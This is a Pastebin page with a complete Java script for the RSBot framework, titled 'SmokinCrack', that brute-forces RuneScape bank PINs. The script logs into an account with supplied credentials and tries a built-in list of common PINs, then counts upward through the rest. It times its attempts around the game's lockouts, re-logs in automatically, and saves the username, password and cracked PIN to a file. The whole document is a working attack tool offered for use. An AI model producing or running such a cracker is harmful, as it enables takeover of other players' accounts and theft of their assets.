Advertisement
Guest User

Untitled

a guest
Sep 21st, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.32 KB | None | 0 0
  1. import org.rsbot.script.ScriptManifest;
  2. import org.rsbot.script.wrappers.RSComponent;
  3. import org.rsbot.event.listeners.PaintListener;
  4. import org.rsbot.util.GlobalConfiguration;
  5. import java.awt.*;
  6. import java.io.*;
  7.  
  8. @ScriptManifest(authors = "TehBeaver", name = "SmokinCrack", description = "Cracks bank PIN's.", version = 1.2)
  9. public class PINCracker extends Script implements PaintListener {
  10.  
  11. private String username = "USERNAME"; // Change "username" to your RuneScape username
  12. private String password = "PASSWORD"; // Change "password" to your RuneScape password
  13. private String pin = "0000"; // Change "0000" to the PIN you want to start cracking from
  14. private boolean logout = false; // Change "false" to "true" if you want to be logged out after the PIN is cracked
  15. private boolean useCommonPINs = false; // Change "false" to "true" if you want the bot to start by using the most common PIN's
  16.  
  17. // Thanks to Bar~ for the list
  18. private String[] commonPINs = {"1950", "1951", "1952", "1953", "1954", "1955", "1956", "1957", "1958", "1959",
  19. "1960", "1961", "1962", "1963", "1964", "1965", "1966", "1967", "1968", "1969",
  20. "1970", "1971", "1972", "1973", "1974", "1975", "1976", "1977", "1978", "1979",
  21. "1980", "1981", "1982", "1983", "1984", "1985", "1986", "1987", "1988", "1989",
  22. "1990", "1991", "1992", "1993", "1994", "1995", "1996", "1997", "1998", "1999",
  23. "2000", "2001", "2002", "2003", "2004", "2005", "2006", "2007", "2008", "2009",
  24. "2010", "2011", "2012", "2468", "1337", "0101", "0202", "0303", "0404", "0505",
  25. "0606", "0707", "0808", "0909", "1010", "1212", "1313", "1414", "1515", "1616",
  26. "1717", "1818", "1919", "2020", "2121", "2323", "2424", "2525", "2626", "2727",
  27. "2828", "2929", "3030", "3131", "3232", "3434", "3535", "3636", "3737", "3838",
  28. "3939", "4040", "4141", "4242", "4343", "4545", "4646", "4747", "4848", "4949",
  29. "5050", "5151", "5252", "5353", "5454", "5656", "5757", "5858", "5959", "6060",
  30. "6161", "6262", "6363", "6464", "6565", "6767", "6868", "6969", "7070", "7171",
  31. "7272", "7373", "7474", "7575", "7676", "7878", "7979", "8080", "8181", "8282",
  32. "8383", "8484", "8585", "8686", "8787", "8989", "9090", "9191", "9292", "9393",
  33. "9494", "9595", "9696", "9797", "9898", "9119", "6667", "1800", "1000", "3000",
  34. "4000", "5000", "6000", "7000", "8000", "9000", "1001", "1221", "1331", "1441",
  35. "1551", "1661", "1771", "1881", "2112", "2332", "2442", "2552", "2662", "2772",
  36. "2882", "2992", "3003", "3113", "3223", "3443", "3553", "3663", "3773", "3883",
  37. "3993", "4004", "4114", "4224", "4334", "4554", "4664", "4774", "4884", "4994",
  38. "5005", "5115", "5225", "5335", "5445", "5665", "5775", "5885", "5995", "6006",
  39. "6116", "6226", "6336", "6446", "6556", "6776", "6886", "6996", "7007", "7117",
  40. "7227", "7337", "7447", "7557", "7667", "7887", "7997", "8008", "8118", "8228",
  41. "8338", "8448", "8558", "8668", "8778", "8998", "9009", "9119", "9229", "9339",
  42. "9449", "9559", "9669", "9779", "9889"};
  43.  
  44. private int state;
  45. private int tried = 0;
  46. private long banktimeout = 10;
  47. private String startPIN = pin;
  48. private boolean commonPINsFinished = true;
  49.  
  50. //Paint variables
  51. public long startTime = 0;
  52. public long millis = 0;
  53. public long hours = 0;
  54. public long minutes = 0;
  55. public long seconds = 0;
  56. public long last = 0;
  57. public int totalTried = 0;
  58. public int pinsPerHour = 0;
  59. public String currentPIN = pin;
  60. public boolean pinIsCracked = false;
  61.  
  62. public boolean activateCondition() {
  63. return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
  64. }
  65.  
  66. public long bankTimeout() {
  67. return banktimeout;
  68. }
  69.  
  70. public void enterCode(final String aPin) {
  71. if (!interfaces.get(13).isValid())
  72. return;
  73. final RSComponent[] children = interfaces.get(13).getComponents();
  74. state = 0;
  75. for (int i = 1; i < 5; i++) {
  76. if (children[i].containsText("?")) {
  77. state++;
  78. }
  79. }
  80. state = 4 - state;
  81. currentPIN = pin;
  82. if (!interfaces.get(759).isValid())
  83. return;
  84. final RSComponent[] bankPin = interfaces.get(759).getComponents();
  85. for (int i = 0; i < bankPin.length; i++) {
  86. if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
  87. final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
  88. int stateBefore = 0;
  89. int stateAfter = 0;
  90. for (int j=1; j<5; j++) {
  91. if (childrenBefore[j].containsText("?"))
  92. stateBefore++;
  93. }
  94. bankPin[i].doClick();
  95. sleep(500);
  96. while (stateBefore == stateAfter) {
  97. final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
  98. for (int k=1; k<5; k++) {
  99. if (childrenAfter[k].containsText("?"))
  100. stateAfter++;
  101. }
  102. sleep(500);
  103. }
  104. break;
  105. }
  106. }
  107. if (state >= 3) {
  108. sleep(300, 600);
  109. tried++;
  110. totalTried++;
  111. if (tried == 2)
  112. sleep(12000);
  113. else if(tried >= 3) {
  114. sleep(2000);
  115. if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
  116. pinIsCracked();
  117. else {
  118. sleep(14000);
  119. tried = 0;
  120. while(game.isLoggedIn())
  121. game.logout(true);
  122. }
  123. }
  124. int temp = 0;
  125. if (useCommonPINs && (totalTried <= commonPINs.length)) {
  126. if (totalTried == commonPINs.length) {
  127. temp = Integer.parseInt(startPIN);
  128. commonPINsFinished = true;
  129. }
  130. else
  131. temp = Integer.parseInt(commonPINs[totalTried]);
  132. }
  133. else {
  134. temp = Integer.parseInt(pin);
  135. temp++;
  136. if (useCommonPINs) {
  137. for (int i=0; i<commonPINs.length; i++) {
  138. if (temp == Integer.parseInt(commonPINs[i])) {
  139. temp++;
  140. }
  141. }
  142. }
  143. }
  144. if (temp >= 0 && temp <= 9)
  145. pin = String.format("000%d", temp);
  146. else if(temp >= 10 && temp <= 99)
  147. pin = String.format("00%d", temp);
  148. else if(temp >= 100 && temp <= 999)
  149. pin = String.format("0%d", temp);
  150. else if(temp >= 1000 && temp <= 9999)
  151. pin = "" + temp;
  152. }
  153. }
  154.  
  155. public void login() {
  156. if (interfaces.get(906).containsText("account has not logged out") || interfaces.get(596).containsText("account has not logged out"))
  157. mouse.click(382, 322, true);
  158. else if(interfaces.get(596).containsText("Error connecting"))
  159. mouse.click(382, 305, true);
  160. else if(interfaces.get(906).isValid()) {
  161. interfaces.get(906).getComponent(171).doClick();
  162. while(interfaces.get(906).containsText("Entering game"))
  163. sleep(500);
  164. }
  165. else if (interfaces.get(596).isValid()) {
  166. if(interfaces.get(596).getComponent(65).getText().length() == 0) {
  167. interfaces.get(596).getComponent(65).doClick();
  168. sleep(1000);
  169. keyboard.sendText(username, false);
  170. }
  171. if(interfaces.get(596).getComponent(71).getText().length() == 0) {
  172. interfaces.get(596).getComponent(71).doClick();
  173. sleep(1000);
  174. keyboard.sendText(password, false);
  175. }
  176. interfaces.get(596).getComponent(51).doClick();
  177. sleep(3000);
  178. }
  179. }
  180.  
  181. public void pinIsCracked() {
  182. pinIsCracked = true;
  183. log("PIN SUCCESSFULLY CRACKED!");
  184. log.warning("PIN: " + currentPIN);
  185. try {
  186. BufferedWriter out = new BufferedWriter(new FileWriter(new File(GlobalConfiguration.Paths.getSettingsDirectory(),"PINCracker.txt")));
  187. out.write("Username: " + username);
  188. out.newLine();
  189. out.write("Password: " + password);
  190. out.newLine();
  191. out.write("PIN: " + currentPIN);
  192. log("Info wrote to " + GlobalConfiguration.Paths.getSettingsDirectory() + "\\PINCracker.txt");
  193. out.close();
  194. }
  195. catch (IOException e) {
  196. log.warning(e.getMessage());
  197. }
  198. if (logout) {
  199. log("Logging out...");
  200. while(game.isLoggedIn())
  201. game.logout(false);
  202. stopScript();
  203. }
  204. else {
  205. log("Staying logged in...");
  206. mouse.setSpeed(8);
  207. while(true) {
  208. sleep(1000);
  209. if (random(0,60) == 50) {
  210. camera.setAngle(random(0,360));
  211. mouse.moveRandomly(300);
  212. }
  213. while(!game.isLoggedIn())
  214. login();
  215. }
  216. }
  217. }
  218.  
  219. public boolean onStart() {
  220. startTime = System.currentTimeMillis();
  221. mouse.setSpeed(1);
  222. if (useCommonPINs) {
  223. pin = commonPINs[0];
  224. currentPIN = commonPINs[0];
  225. commonPINsFinished = false;
  226. }
  227. return true;
  228. }
  229.  
  230. @Override
  231. public int loop() {
  232. if (game.isLoggedIn()) {
  233. if (interfaces.get(13).isValid()) {
  234. enterCode(pin);
  235. sleep(500,1000);
  236. }
  237. else if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
  238. pinIsCracked();
  239. else
  240. bank.open();
  241. }
  242. else
  243. login();
  244. return random(200,500);
  245. }
  246.  
  247. public void onRepaint(Graphics g1) {
  248. Graphics2D g = (Graphics2D)g1;
  249.  
  250. millis = System.currentTimeMillis() - startTime;
  251. hours = millis / (1000 * 60 * 60);
  252. millis -= hours * (1000 * 60 * 60);
  253. minutes = millis / (1000 * 60);
  254. millis -= minutes * (1000 * 60);
  255. seconds = millis / 1000;
  256. String hoursString = "" + hours;
  257. String minutesString = "" + minutes;
  258. String secondsString = "" + seconds;
  259. if (hours < 10)
  260. hoursString = "0" + hours;
  261. if (minutes < 10)
  262. minutesString = "0" + minutes;
  263. if (seconds < 10)
  264. secondsString = "0" + seconds;
  265.  
  266. if (!pinIsCracked) {
  267. if (commonPINsFinished) {
  268. g.setColor(new Color(0, 0, 255, 220));
  269. g.fillRect(5, 5, 190, 65);
  270. g.setFont(new Font("Arial", Font.BOLD, 15));
  271. g.setColor(Color.WHITE);
  272. g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  273. g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  274. g.drawString("Current PIN Attempt: " + currentPIN, 10, 50);
  275. g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
  276. }
  277. else {
  278. g.setColor(new Color(0, 0, 255, 220));
  279. g.fillRect(5, 5, 190, 75);
  280. g.setFont(new Font("Arial", Font.BOLD, 15));
  281. g.setColor(Color.WHITE);
  282. g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
  283. g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
  284. g.drawString("Current PIN Attempt: " + currentPIN, 10, 50);
  285. g.setFont(new Font("Arial", Font.BOLD, 10));
  286. g.drawString("(Trying common PINs first)", 10, 60);
  287. g.setFont(new Font("Arial", Font.BOLD, 15));
  288. g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 75);
  289. }
  290. }
  291. else {
  292. g.setColor(new Color(0, 255, 0, 220));
  293. g.fillRect(5, 5, 190, 65);
  294. g.setFont(new Font("Arial", Font.BOLD, 20));
  295. g.setColor(Color.WHITE);
  296. g.drawString("PIN CRACKED", 34, 25);
  297. g.setFont(new Font("Arial", Font.BOLD, 40));
  298. g.drawString(currentPIN, 56, 62);
  299. }
  300. }
  301. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement